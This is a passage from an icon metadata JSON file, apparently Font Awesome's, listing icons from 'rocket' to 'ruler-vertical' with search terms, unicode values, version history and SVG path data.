        "path": "M320 0c17.7 0 32 14.3 32 32V96H472c39.8 0 72 32.2 72 72V440c0 39.8-32.2 72-72 72H168c-39.8 0-72-32.2-72-72V168c0-39.8 32.2-72 72-72H288V32c0-17.7 14.3-32 32-32zM208 384c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H208zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H304zm96 0c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H400zM264 256a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zm152 40a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM48 224H64V416H48c-26.5 0-48-21.5-48-48V272c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H576V224h16z"
      }
    },
    "free": ["solid"]
  },
  "rocket": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f135"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.7.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["aircraft", "app", "jet", "launch", "nasa", "space"]
    },
    "styles": ["solid"],
    "unicode": "f135",
    "label": "Rocket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M156.6 384.9L125.7 354c-8.5-8.5-11.5-20.8-7.7-32.2c3-8.9 7-20.5 11.8-33.8L24 288c-8.6 0-16.6-4.6-20.9-12.1s-4.2-16.7 .2-24.1l52.5-88.5c13-21.9 36.5-35.3 61.9-35.3l82.3 0c2.4-4 4.8-7.7 7.2-11.3C289.1-4.1 411.1-8.1 483.9 5.3c11.6 2.1 20.6 11.2 22.8 22.8c13.4 72.9 9.3 194.8-111.4 276.7c-3.5 2.4-7.3 4.8-11.3 7.2v82.3c0 25.4-13.4 49-35.3 61.9l-88.5 52.5c-7.4 4.4-16.6 4.5-24.1 .2s-12.1-12.2-12.1-20.9V380.8c-14.1 4.9-26.4 8.9-35.7 11.9c-11.2 3.6-23.4 .5-31.8-7.8zM384 168a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M156.6 384.9L125.7 354c-8.5-8.5-11.5-20.8-7.7-32.2c3-8.9 7-20.5 11.8-33.8L24 288c-8.6 0-16.6-4.6-20.9-12.1s-4.2-16.7 .2-24.1l52.5-88.5c13-21.9 36.5-35.3 61.9-35.3l82.3 0c2.4-4 4.8-7.7 7.2-11.3C289.1-4.1 411.1-8.1 483.9 5.3c11.6 2.1 20.6 11.2 22.8 22.8c13.4 72.9 9.3 194.8-111.4 276.7c-3.5 2.4-7.3 4.8-11.3 7.2v82.3c0 25.4-13.4 49-35.3 61.9l-88.5 52.5c-7.4 4.4-16.6 4.5-24.1 .2s-12.1-12.2-12.1-20.9V380.8c-14.1 4.9-26.4 8.9-35.7 11.9c-11.2 3.6-23.4 .5-31.8-7.8zM384 168a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "rocketchat": {
    "changes": ["5.0.0", "5.4.2", "5.8.0", "5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e8",
    "label": "Rocket.Chat",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"
      }
    },
    "free": ["brands"]
  },
  "rockrms": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e9",
    "label": "Rockrms",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"
      }
    },
    "free": ["brands"]
  },
  "rotate": {
    "aliases": {
      "names": ["sync-alt"],
      "unicodes": {
        "composite": ["1f504"],
        "secondary": ["10f2f1"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anticlockwise",
        "arrow",
        "counterclockwise",
        "counterclockwise arrows button",
        "exchange",
        "refresh",
        "reload",
        "rotate",
        "swap",
        "withershins"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2f1",
    "label": "Rotate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M142.9 142.9c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5c0 0 0 0 0 0H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5c7.7-21.8 20.2-42.3 37.8-59.8zM16 312v7.6 .7V440c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l41.6-41.6c87.6 86.5 228.7 86.2 315.8-1c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.2 62.2-162.7 62.5-225.3 1L185 329c6.9-6.9 8.9-17.2 5.2-26.2s-12.5-14.8-22.2-14.8H48.4h-.7H40c-13.3 0-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M142.9 142.9c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5c0 0 0 0 0 0H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1C73.2 122 55.6 150.7 44.8 181.4c-5.9 16.7 2.9 34.9 19.5 40.8s34.9-2.9 40.8-19.5c7.7-21.8 20.2-42.3 37.8-59.8zM16 312v7.6 .7V440c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l41.6-41.6c87.6 86.5 228.7 86.2 315.8-1c24.4-24.4 42.1-53.1 52.9-83.7c5.9-16.7-2.9-34.9-19.5-40.8s-34.9 2.9-40.8 19.5c-7.7 21.8-20.2 42.3-37.8 59.8c-62.2 62.2-162.7 62.5-225.3 1L185 329c6.9-6.9 8.9-17.2 5.2-26.2s-12.5-14.8-22.2-14.8H48.4h-.7H40c-13.3 0-24 10.7-24 24z"
      }
    },
    "free": ["solid"]
  },
  "rotate-left": {
    "aliases": {
      "names": ["rotate-back", "rotate-backward", "undo-alt"],
      "unicodes": {
        "secondary": ["10f2ea"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "control z", "exchange", "oops", "return", "swap"]
    },
    "styles": ["solid"],
    "unicode": "f2ea",
    "label": "Rotate Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48.5 224H40c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2L98.6 96.6c87.6-86.5 228.7-86.2 315.8 1c87.5 87.5 87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3c-62.2-62.2-162.7-62.5-225.3-1L185 183c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H48.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48.5 224H40c-13.3 0-24-10.7-24-24V72c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2L98.6 96.6c87.6-86.5 228.7-86.2 315.8 1c87.5 87.5 87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3c-62.2-62.2-162.7-62.5-225.3-1L185 183c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8H48.5z"
      }
    },
    "free": ["solid"]
  },
  "rotate-right": {
    "aliases": {
      "names": ["redo-alt", "rotate-forward"],
      "unicodes": {
        "secondary": ["10f2f9"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "refresh", "reload", "repeat"]
    },
    "styles": ["solid"],
    "unicode": "f2f9",
    "label": "Rotate Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M463.5 224H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1c-87.5 87.5-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M463.5 224H472c13.3 0 24-10.7 24-24V72c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2L413.4 96.6c-87.6-86.5-228.7-86.2-315.8 1c-87.5 87.5-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3c62.2-62.2 162.7-62.5 225.3-1L327 183c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H463.5z"
      }
    },
    "free": ["solid"]
  },
  "route": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4d7"]
      }
    },
    "changes": [
      "5.0.9",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "navigation", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f4d7",
    "label": "Route",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 96c0 50.2-59.1 125.1-84.6 155c-3.8 4.4-9.4 6.1-14.5 5H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c53 0 96 43 96 96s-43 96-96 96H139.6c8.7-9.9 19.3-22.6 30-36.8c6.3-8.4 12.8-17.6 19-27.2H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-53 0-96-43-96-96s43-96 96-96h39.8c-21-31.5-39.8-67.7-39.8-96c0-53 43-96 96-96s96 43 96 96zM117.1 489.1c-3.8 4.3-7.2 8.1-10.1 11.3l-1.8 2-.2-.2c-6 4.6-14.6 4-20-1.8C59.8 473 0 402.5 0 352c0-53 43-96 96-96s96 43 96 96c0 30-21.1 67-43.5 97.9c-10.7 14.7-21.7 28-30.8 38.5l-.6 .7zM128 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 96c0 50.2-59.1 125.1-84.6 155c-3.8 4.4-9.4 6.1-14.5 5H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c53 0 96 43 96 96s-43 96-96 96H139.6c8.7-9.9 19.3-22.6 30-36.8c6.3-8.4 12.8-17.6 19-27.2H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-53 0-96-43-96-96s43-96 96-96h39.8c-21-31.5-39.8-67.7-39.8-96c0-53 43-96 96-96s96 43 96 96zM117.1 489.1c-3.8 4.3-7.2 8.1-10.1 11.3l-1.8 2-.2-.2c-6 4.6-14.6 4-20-1.8C59.8 473 0 402.5 0 352c0-53 43-96 96-96s96 43 96 96c0 30-21.1 67-43.5 97.9c-10.7 14.7-21.7 28-30.8 38.5l-.6 .7zM128 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "rss": {
    "aliases": {
      "names": ["feed"],
      "unicodes": {
        "secondary": ["10f09e"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blog", "feed", "journal", "news", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f09e",
    "label": "Rss",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32c229.8 0 416 186.2 416 416c0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96C14.3 96 0 81.7 0 64zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zM32 160c159.1 0 288 128.9 288 288c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32c229.8 0 416 186.2 416 416c0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96C14.3 96 0 81.7 0 64zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zM32 160c159.1 0 288 128.9 288 288c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "ruble-sign": {
    "aliases": {
      "names": ["rouble", "rub", "ruble"],
      "unicodes": {
        "composite": ["20bd"],
        "secondary": ["10f158"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Ruble Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f158",
    "label": "Ruble Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 32C78.3 32 64 46.3 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V416H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V320H240c79.5 0 144-64.5 144-144s-64.5-144-144-144H96zM240 256H128V96H240c44.2 0 80 35.8 80 80s-35.8 80-80 80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 32C78.3 32 64 46.3 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V416H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V320H240c79.5 0 144-64.5 144-144s-64.5-144-144-144H96zM240 256H128V96H240c44.2 0 80 35.8 80 80s-35.8 80-80 80z"
      }
    },
    "free": ["solid"]
  },
  "rug": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blanket", "carpet", "rug", "textile"]
    },
    "styles": ["solid"],
    "unicode": "e569",
    "label": "Rug",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M24 64H56 80V88v88 80 80 88 24H56 24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V360H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V280H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V200H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V112H24C10.7 112 0 101.3 0 88S10.7 64 24 64zm88 0H528V448H112V64zM640 88c0 13.3-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H584 560V424 336 256 176 88 64h24 32c13.3 0 24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M24 64H56 80V88v88 80 80 88 24H56 24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V360H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V280H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V200H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V112H24C10.7 112 0 101.3 0 88S10.7 64 24 64zm88 0H528V448H112V64zM640 88c0 13.3-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H584 560V424 336 256 176 88 64h24 32c13.3 0 24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "ruler": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4cf"],
        "secondary": ["10f545"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "design",
        "draft",
        "length",
        "measure",
        "planning",
        "ruler",
        "straight edge",
        "straight ruler"
      ]
    },
    "styles": ["solid"],
    "unicode": "f545",
    "label": "Ruler",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M177.9 494.1c-18.7 18.7-49.1 18.7-67.9 0L17.9 401.9c-18.7-18.7-18.7-49.1 0-67.9l50.7-50.7 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 50.7-50.7c18.7-18.7 49.1-18.7 67.9 0l92.1 92.1c18.7 18.7 18.7 49.1 0 67.9L177.9 494.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M177.9 494.1c-18.7 18.7-49.1 18.7-67.9 0L17.9 401.9c-18.7-18.7-18.7-49.1 0-67.9l50.7-50.7 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 50.7-50.7c18.7-18.7 49.1-18.7 67.9 0l92.1 92.1c18.7 18.7 18.7 49.1 0 67.9L177.9 494.1z"
      }
    },
    "free": ["solid"]
  },
  "ruler-combined": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f546"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "length", "measure", "planning"]
    },
    "styles": ["solid"],
    "unicode": "f546",
    "label": "Ruler Combined",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.2 468.9C2.7 493.1 23.1 512 48 512l96 0 320 0c26.5 0 48-21.5 48-48l0-96c0-26.5-21.5-48-48-48l-48 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-48c0-26.5-21.5-48-48-48L48 0C21.5 0 0 21.5 0 48L0 368l0 96c0 1.7 .1 3.3 .2 4.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.2 468.9C2.7 493.1 23.1 512 48 512l96 0 320 0c26.5 0 48-21.5 48-48l0-96c0-26.5-21.5-48-48-48l-48 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-48c0-26.5-21.5-48-48-48L48 0C21.5 0 0 21.5 0 48L0 368l0 96c0 1.7 .1 3.3 .2 4.9z"
      }
    },
    "free": ["solid"]
  },
  "ruler-horizontal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f547"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "length", "measure", "planning"]
    },
    "styles": ["solid"],
    "unicode": "f547",
    "label": "Ruler Horizontal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 336c0 26.5 21.5 48 48 48l544 0c26.5 0 48-21.5 48-48l0-160c0-26.5-21.5-48-48-48l-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0c-26.5 0-48 21.5-48 48L0 336z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 336c0 26.5 21.5 48 48 48l544 0c26.5 0 48-21.5 48-48l0-160c0-26.5-21.5-48-48-48l-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0c-26.5 0-48 21.5-48 48L0 336z"
      }
    },
    "free": ["solid"]
  },
  "ruler-vertical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f548"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "length", "measure", "planning"]
    },
    "styles": ["solid"],
    "unicode": "f548",
    "label": "Ruler Vertical",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
